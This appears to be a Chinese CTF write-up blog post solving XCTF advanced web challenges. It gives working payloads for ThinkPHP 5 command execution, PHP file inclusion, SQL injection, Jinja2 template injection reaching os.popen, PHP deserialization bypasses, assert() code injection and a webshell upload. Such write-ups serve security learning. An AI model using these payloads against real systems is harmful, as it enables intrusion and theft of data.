攻防世界web进阶区刷题记录(1)

文章目录

  • web进阶区
    • baby_web
    • Training-WWW-Robots
    • php_rce
    • Web_php_include
      • 方法1:大小写绕过
      • 方法2:php文件包含
      • 方法3:伪协议
    • warmup
    • NewsCenter
    • NaNNaNNaNNaN-Batman
    • PHP2
    • unserialize3
    • upload1
    • Web_python_template_injection
    • Web_php_unserialize
    • supersqli
    • easytornado
    • ics-06
    • lottery
    • mfw
    • web2

web进阶区

这里刷一下进阶区的题目,一边看wp一边学习

baby_web

提示是:想想初始页面是哪个
进入是一个hello world,然后就没有了,由于提示试试抓包,得到flag
攻防世界web进阶区刷题记录(1)_第1张图片

Training-WWW-Robots

由于提示我们就查看robots.txt
攻防世界web进阶区刷题记录(1)_第2张图片
获得flag
攻防世界web进阶区刷题记录(1)_第3张图片

php_rce

题目很明显的提示了:ThinkPHP V5
攻防世界web进阶区刷题记录(1)_第4张图片
上网找到相应的漏洞利用,这里我找的是:ThinkPHP 5.x远程命令执行漏洞分析与复现
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
发现可行,执行了whoami,那么就很简单了
在这里插入图片描述
cat /flag一下?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
在这里插入图片描述

Web_php_include

给出了源码:


show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

攻防世界web进阶区刷题记录(1)_第5张图片
过滤了php://,但方法很多

方法1:大小写绕过

没有过滤Php://,可大写绕过
?page=Php://inputPOST方式提交
攻防世界web进阶区刷题记录(1)_第6张图片
然后执行cat即可
攻防世界web进阶区刷题记录(1)_第7张图片

方法2:php文件包含

php文件包含
?page=http://127.0.0.1/index.php/?hello=
攻防世界web进阶区刷题记录(1)_第8张图片
?page=http://127.0.0.1/index.php/?hello=
攻防世界web进阶区刷题记录(1)_第9张图片

方法3:伪协议

使用其他的伪协议data://text/plain
首先获取路径?page=data://text/plain,
攻防世界web进阶区刷题记录(1)_第10张图片
读取当前目录的文件?page=data://text/plain,
攻防世界web进阶区刷题记录(1)_第11张图片
最后读取文件即可?page=data://text/plain,
攻防世界web进阶区刷题记录(1)_第12张图片

warmup

打开是一个滑稽,查看源码得到source.php查看得到源代码

 
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

攻防世界web进阶区刷题记录(1)_第13张图片
第一个if是对$page变量进行检验,要求是字符串,否则的话返回false,

第二个if是判断$page是否在规定的白名单数组里面;如果在的话返回true;接着截取$page的 ? 之前的内容进行查看,判断其是否在$whitelist中,如果在的话,返回true,不在的话返回false;然后对$page进行url解码,解码之后再继续截取 ? 之前的内容,判断是否在$whitelist数组之中,如果在的话返回true,否则返回false;都通过以后,就会包含file;

这里我们构造payload ?file=source.php?../../../../../../ffffllllaaaagggg(因为我们不知道具体的位置,所以我们只能目录跃迁进行尝试)然后得到flag
攻防世界web进阶区刷题记录(1)_第14张图片
参考:[HCTF 2018]WarmUp

NewsCenter

没有过滤的sql注入,直接union select即可

得到news:
' and 0 union select 1,database(),3# 
得到secret_table:
' and 0 union select 1,table_schema,table_name from information_schema.columns #
得到fl4g:
' and 0 union select 1,2,column_name from information_schema.columns where table_name='secret_table'#
得到flag:
' and 0 union select 1,2,fl4g from secret_table #

攻防世界web进阶区刷题记录(1)_第15张图片

NaNNaNNaNNaN-Batman

下载附件,发现是js代码,但很混乱,发现最后有个eval()函数执行行了前面的_函数,将eval()改为alert(),改为.html即可弹出源代码
攻防世界web进阶区刷题记录(1)_第16张图片
整理后得:

function $() {
    var e = document.getElementById("c").value;
    if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
        var t = ["fl", "s_a", "i", "e}"];
        var n = ["a", "_h0l", "n"];
        var r = ["g{", "e", "_0"];
        var i = ["it'", "_", "n"];
        var s = [t, n, r, i];
        for (var o = 0; o < 13; ++o) {
            document.write(s[o % 4][0]);
            s[o % 4].splice(0, 1)
        }
    }
}
document.write('');
delete _

将数组拼接起来即是flag:flag{it's_a_h0le_in_0ne}
或者运行js代码得到一个弹窗,输入数字要满足条件如下:

  1. 长度为16
  2. 以be0f23开头
  3. 以e98aa结尾
  4. 包含233ac
  5. 包含c7be9

得到be0f233ac7be98aa,输入得到flag
攻防世界web进阶区刷题记录(1)_第17张图片

PHP2

打开得到:Can you anthenticate to this website?
想法就是,但扫描目录没得出来,查看wp发现是index.phps
攻防世界web进阶区刷题记录(1)_第18张图片
输入admin的两次url编码即可
?id=%2561%2564%256d%2569%256e
攻防世界web进阶区刷题记录(1)_第19张图片

unserialize3

得到一串代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

构造序列化,只存在一个变量flag
?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}
又要绕过__wakeup(),将1改为2即可
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
攻防世界web进阶区刷题记录(1)_第20张图片

upload1

查看源代码得:

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}

}

前端js检验,抓包绕过,首先上传jpg
攻防世界web进阶区刷题记录(1)_第21张图片
蚁剑连接即可得到flag
攻防世界web进阶区刷题记录(1)_第22张图片

Web_python_template_injection

进入题目提示:python template injection,这个点不会,看了wp
执行{{7*7}}
攻防世界web进阶区刷题记录(1)_第23张图片
可行,那么就可以读取数据了,读取/etc/password
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
攻防世界web进阶区刷题记录(1)_第24张图片
首先执行ls命令

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}  
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

攻防世界web进阶区刷题记录(1)_第25张图片
得到了fl4g,那么cat一下就可以了,将ls改为cat fl4g
在这里插入图片描述
看了另一个师傅的,代码简单很多:
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}

方法很多,不拘于一种方法最好
参考:
攻防世界WEB高手进阶之python_template_injection
[WP]Web>Python>template>注入,wpWebpythontemplateinjection,攻防,世界

Web_php_unserialize

反序列化的题目,给出了源码

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

主要绕过两个地方:

  1. preg_match(’/[oc]:\d+:/i’, $var)的绕过
  2. unserialize时__wakeup的绕过

绕过正则:使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过
绕过wakeup:使序列化字符串中标识变量数量的值大于实际变量即可,即1变为2
在下面添加如下代码构造序列化即可:

    $A = new Demo('fl4g.php');
    $C = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup
    var_dump($C);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

在这里插入图片描述
传入可得到flag
攻防世界web进阶区刷题记录(1)_第26张图片

supersqli

强网杯的原题,直接使用payload

1'; handler `1919810931114514` open as y1ng; handler y1ng read first; handler y1ng close;#

攻防世界web进阶区刷题记录(1)_第27张图片

easytornado

一样是buuctf上做过的题目,直接上payload
error?msg={{1*2}}
攻防世界web进阶区刷题记录(1)_第28张图片
获得cookie:error?msg={{handler.settings}}
在这里插入图片描述
得到ead3e90c-a620-4f9c-afd5-824276d245ba,使用python脚本:

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="ead3e90c-a620-4f9c-afd5-824276d245ba"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

攻防世界web进阶区刷题记录(1)_第29张图片
最后file?filename=/fllllllllllllag&filehash=f99dedfcd23ec0411f0727c8ade108c4
攻防世界web进阶区刷题记录(1)_第30张图片

ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
点进去什么都没有,就只有点报表中心得出
攻防世界web进阶区刷题记录(1)_第31张图片
送分题。。。。尝试了sql注入没反应,看wp发现爆破id即可,那么就开始抓包爆破了,数据从1设到10000,爆出了id=2333时不同
攻防世界web进阶区刷题记录(1)_第32张图片
访问得到flag
攻防世界web进阶区刷题记录(1)_第33张图片

lottery

界面还蛮有意思的,得到flag要$9990000,要两次得到7个一样的数字
攻防世界web进阶区刷题记录(1)_第34张图片
查看wp才发现是git泄露,那么就直接开始githack了
攻防世界web进阶区刷题记录(1)_第35张图片
接下来代码审计,猜数字的在api.php中,有一个弱类型,bool类型的true是可以和任何数据弱类型相等的
攻防世界web进阶区刷题记录(1)_第36张图片
那么就开始抓包把数据都改为true即可,注意当生成的win_number中不含0时才会得5000000
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
攻防世界web进阶区刷题记录(1)_第37张图片
最后刷到足够的钱,买flag就行了
攻防世界web进阶区刷题记录(1)_第38张图片
参考:攻防世界-Web-lottery(.git泄露、php源码审计、弱类型利用)-XCTF 4th-QCTF-2018

mfw

首先发现有git泄露,直接可以得到源码
攻防世界web进阶区刷题记录(1)_第39张图片
好吧,打开乱码,还是用githack得到index.php的源码:



if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert()函数会将读入的代码当做PHP代码来执行

  1. 首先对strpos函数进行闭合,构造:?page=’)
  2. 可以把后面', '..') === false的给注释掉,构造:?page=').phpinfo();//
  3. 或者不注释也行,直接插入,构造?page='.phpinfo().'

攻防世界web进阶区刷题记录(1)_第40张图片
那么就可以使用system()来执行语句了
?page='.system("ls").'
攻防世界web进阶区刷题记录(1)_第41张图片
?page='.system("cat templates/flag.php").',查看源码得到flag
攻防世界web进阶区刷题记录(1)_第42张图片
参考:XCTF WEB mfw

web2

给出了源码:


$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str); //反转字符串
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){//循环字符串长度
       
        $_c=substr($_o,$_0,1); //从$_0位置开始,返回1个字符
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   //拼接两个变量的内容 赋值
    } 
    return str_rot13(strrev(base64_encode($_)));//返回  ROT13 编码/解码(反转字符串(base64加密($_)))
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

逆向解密即可,这里借鉴了师傅的代码:


$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));

$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){  
       
        $_c=substr($_,$_0,1);  

        $__=ord($_c)-1;  

        $_c=chr($__);  

        $_o=$_o.$_c;   
    } 
echo strrev($_o);
?>

在这里插入图片描述
参考:攻防世界 web 进阶 web2

你可能感兴趣的:(刷题)